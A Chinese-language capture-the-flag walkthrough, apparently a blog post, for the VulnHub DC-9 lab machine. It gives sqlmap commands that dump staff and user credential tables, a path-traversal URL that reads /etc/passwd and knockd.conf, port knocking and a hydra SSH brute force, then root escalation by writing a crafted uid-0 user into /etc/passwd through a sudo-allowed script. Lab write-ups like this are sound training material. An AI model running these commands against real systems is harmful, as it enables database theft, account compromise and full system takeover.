所需环境:kali、DC-9
DC-9靶场下载:
Vulnerable By Design - Search: dc (Page 3) ~ VulnHub
下载完成后解压,用vmware打开即可,DC-9靶场和kali都设置为NAT模式,这样就是同网段了
1.扫描主机IP
使用kali中自带的arp-scan工具进行扫描
arp-scan 工具的使用方法:
该工具通过使用自制的arp数据包,同时有人会解析mac地址,并给出对应的硬件厂商名称。且会输出类似arp信息的条目,通过排查得到想要的目标主机的IP地址。
2.扫描端口信息
nmap -P IP地址
nmap扫描输出的结果中state状态的类型:
open:端口开放
filtsred:被过滤的端口
closed:关闭的端口
unfiltered:未被过滤的
open|filtered:开放或被过滤的
closed|filtered:关闭或被过滤的
3.网站信息收集
浏览器输入ip访问80号端口
针对站点信息进行目录扫描,使用kali自带的目录扫描工具dirbuster,输入站点信息,选择目录文件,开始扫描,扫描过程较慢....
使用AWVS工具对网站进行扫描,根据扫描结果可以看到在http://192.168.192.132/result.php页面存在SQL注入漏洞
我么使用sqlmap自动化注入工具
--batch 代表全自动,不用我们手动输入y/n
sqlmap -u http://192.168.192.132/results.php --data="search=123" --dbs //获取数据库名称
sqlmap -u http://192.168.192.132/results.php --data="search=123" -D Staff --tables --batch // 获取指定数据库中的所有表名称
sqlmap -u http://192.168.192.132/results.php --data="search=123" -D Staff -T Users --columns --batch //获取指定数据库指定表中的列名称
sqlmap -u http://192.168.192.132/results.php --data="search=123" -D Staff -T Users --dump //获取表中的数据
数据库名:
指定数据库 Staff 的表名:
指定数据库Staff 指定表 Users 的列名
获取表Users中数据:
以下另外一个数据库的信息
指定数据库users的表名称:
sqlmap -u http://192.168.192.132/results.php --data="search=123" -D users -T UserDetails -C username,password --dump
指定数据库users 指定表 UserDetails 指定列 username,password 的数据:(这些是员工的账号密码,之后会用到)
我们使用库 Staff 表 Users 中爆出来的账户密码 admin:transorbitall 去登录,登陆成功!
此时我们发现下面有一行File does not exist
我们猜测可能存在文件包含漏洞,测试一下,顺利读取到了/etc/passwd文件
http://192.168.192.132/manage.php?file=../../../../../../../etc/passwd
还记得在扫描端口是,22端口的状态是被过滤了,猜测22端口可能存在knockd服务,通过本地文件包含读取对应的敲门服务的配置文件。 敲门服务的配置文件路径:/etc/knockd.conf
(knockd服务:即敲门端口服务,该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,,使系统开启需要访问的服务端口,才能对外访问,不使用时,再使用自定义序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性,它的默认配置文件是:/etc/knockd.conf)
使用kali系统下的knockd工具:
安装:
sudo apt install -y knockd
敲门:
knock 192.168.192.132 7469 8475 9842
验证
nmap -p 22 192.168.192.132
此时22端口状态为open,ssh服务开启,可以访问了
将之前爆破的员工账号密码分别放入字典中
使用hydra字典爆破
hydra使用教程、命令总结:https://blog.csdn.net/single_g_l/article/details/123553665
hydra -L username.txt -P password.txt ssh://192.168.192.132
爆破完成我们可以看到三个用户名密码
三个账户分别登陆,我们会发现janitor这个账户比其他两个账户多了一个目录(其他两个就不截图了)
ssh远程登陆命令:https://www.cnblogs.com/uestc-mm/p/15010886.html
登陆命令:ssh username@ip
进入这个目录,发现一个文件,打开该文件,发现是一些密码
将passwords-found-on-post-it-notes.txt文件中的密码复制到之前的password.txt文件中,再次使用hydra工具进行爆破,会发现又出现一个账户密码
hydra -L username.txt -P password.txt ssh://192.168.192.132
用fredf账户进行ssh登陆,查看目录并没有什么特别,但是使用命令 sudo -l 会发现这里有个脚本文件可以无密码以root用户权限执行(其他用户都没有,就不截图了)
进入/opt/devstuff/dist/test目录下发现全是文件,回到上一个目录查看,也没什么,再回到上一个目录查看,在/opt/devstuff目录下发现了一个test.py脚本文件
这是一个写入文件的python脚本,生成一个密码用root权限执行脚本写入/etc/passwd文件,所以我们现在就需要构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限
重新打开一个窗口,使用openssl工具创建一个本地的加密用户,也就是一个提权用户:
openssl用法:https://www.bbsmax.com/A/8Bz8RkeL5x/
openssl passwd -1 -salt yl 123.com
回到刚才ssh登录账户的窗口,进入/opt/devstuff/dist/test目录下使用,echo命令在/tmp目录下创建一个文件,文件名自定义就行,这里用的是test1
echo 'yl:$1$yl$PjYdn.uqFcPDBV/3qRdFZ1:0:0::/root:/bin/bash' >> /tmp/test1
a:x:0:0:root:/root:/bin/bash表示的是什么意思
a表示用户名,x表示密码;
第一个0,表示用户id,后一个0表示用户组id;
后面哪个root是对该用户的描述,可以不写;
/root表示用户目录
/bin/bash表示该用户登录linux时用的shell。
sudo ./test /tmp/test1 /etc/passwd
su yl
输入密码:123.com
使用sudo命令执行test文件将/tmp/test1的内容写入到/etc/passwd文件中
然后使用命令su yl
切换到我们添加的yl用户,输入之前设置好密码即可登录
这一步成功的话,就没问题了!!
进入/root目录下,看到flag,成功!!!!
cd /root
cat theflag.txt